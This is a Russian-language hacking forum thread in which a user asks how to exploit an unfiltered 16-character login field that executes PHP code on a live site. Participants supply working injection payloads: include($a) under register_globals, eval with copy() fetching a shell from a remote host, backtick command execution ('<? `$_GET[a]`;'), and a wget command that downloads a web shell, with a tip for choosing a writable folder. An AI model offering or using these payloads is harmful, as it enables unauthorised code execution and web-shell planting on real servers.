16 символов :(

[Mr.Hardwar]

На одном ресе обнаружил такую штуку: когда входишь на сайт то на странице пишется "Привет ЛОГИН". так вот, при регистрации в поле логин никакой фильтрации нет и можно указывать любые символы. Облом лишь в том что обработчик формы не регает логины больше 16 символов! :mad:

Подскажите как можно использовать эту уязвимость. работает phpinfo() sleep(), а больше не хватает у меня ни фантазии ни символов

[mailbrush]

При register_globals=ON
include($a)
Потом в GET['a'] - путь к шеллу

[Ctacok]

При register_globals=ON
include($a)
Потом в GET['a'] - путь к шеллу
include($_GET['a'])
Вроде же.
Что то я непробывал просто так присваивать массиву из ниоткуда, что бы он брал из GET запроса.
Или я видимо ещё незнал об этом.
Если твой пример правильный, дико извеняюсь ;)

[попугай]

include($_GET['a'])
Вроде же.
Что то я непробывал просто так присваивать массиву из ниоткуда, что бы он брал из GET запроса.
Или я видимо ещё незнал об этом.
Если твой пример правильный, дико извеняюсь ;)


При register_globals=ON

какбе

[PaCo]

eval($_GET[a]); &a=copy('http://shellsite.com/shell.txt','shell.php'); ну в этом стиле.

[Spyder]

include($_GET['a']) - больше 16 какбе
регистер глобалс по дефолту включён какбе

[PaCo]

include($_GET['a']) - больше 16 какбе
регистер глобалс по дефолту включён какбе
включен на таких версиях старых что поискать надо:

Наверное, наиболее спорным моментом в разработке PHP стала замена значения по умолчанию для опции register_globals с ON на OFF в версии 4.2.0.

[Spyder]

чёта у меня в на локалхосте по дефолту он был, пшп 5

[Fata1ex]

По дефолту уже давно офф, а в шестой версии вроде и вовсе отключат.

[PaCo]

чёта у меня в на локалхосте по дефолту он был, пшп 5
МБ сам включил и подзабыл(бывает такое дистр сохранил и прям в нем поизменял) ну или в денвер/xamp/прочая нежить был поставлен в on а так с 4.2.0 в офф он по дефолту.

[Mr.Hardwar]

<?eval($_GET[a])?> получается больше 16-ти символов, а
<?eval($a)?> и <?include($a)?> ничо не инклудят, ни локальные файлы ни с других хостов. (в адр строку добавляю &a=mysite.ru/file.txt)
Это значит конец? 16 символов мало :(

[Ctacok]

<?eval($_GET[a])?> получается больше 16-ти символов, а
<?eval($a)?> и <?include($a)?> ничо не инклудят, ни локальные файлы ни с других хостов. (в адр строку добавляю &a=mysite.ru/file.txt)
Это значит конец? 16 символов мало :(
http://mysite.ru/file.txt
По твоему запросу он инклюдит папку mysite.ru/file.txt а не удалённый сервер ;)

[Mr.Hardwar]

c http результат тот же(
&a=http://mysite.ru/primer.php -выводится страница c Hacking attempt!

&a=http://mysite.ru/primer.txt -страница грузится но ничо не инклудится..пишется "Привет, !"

[Ctacok]

Инклюдить он заинклюдить
Ну вот может бред.
в .htacces
AddType application/x-httpd-php .txt
На своём серваке.

[BlackSun]

8 байт <? `$a`;
14 байт <? `$_GET[a]`;

[Ch3ck]

8 байт <? `$a`;
14 байт <? `$_GET[a]`;
Я тоже вчера пробовал... а дальше чего? ;)

[BlackSun]

Я тоже вчера пробовал... а дальше чего? ;)
Что значит "а дальше чего"? Дальше сливаем wget'ом и ему подобными шелл, наслаждаемся.

?a=wget+http://google.com/shell.txt если уж совсем не понятно.

[.::BARS::.]

хм.... а ничего если упапки нет прав на запись???? =))))

[BlackSun]

А тебя совершенно не волнует тот факт, что папок все же больше одной? --output-document=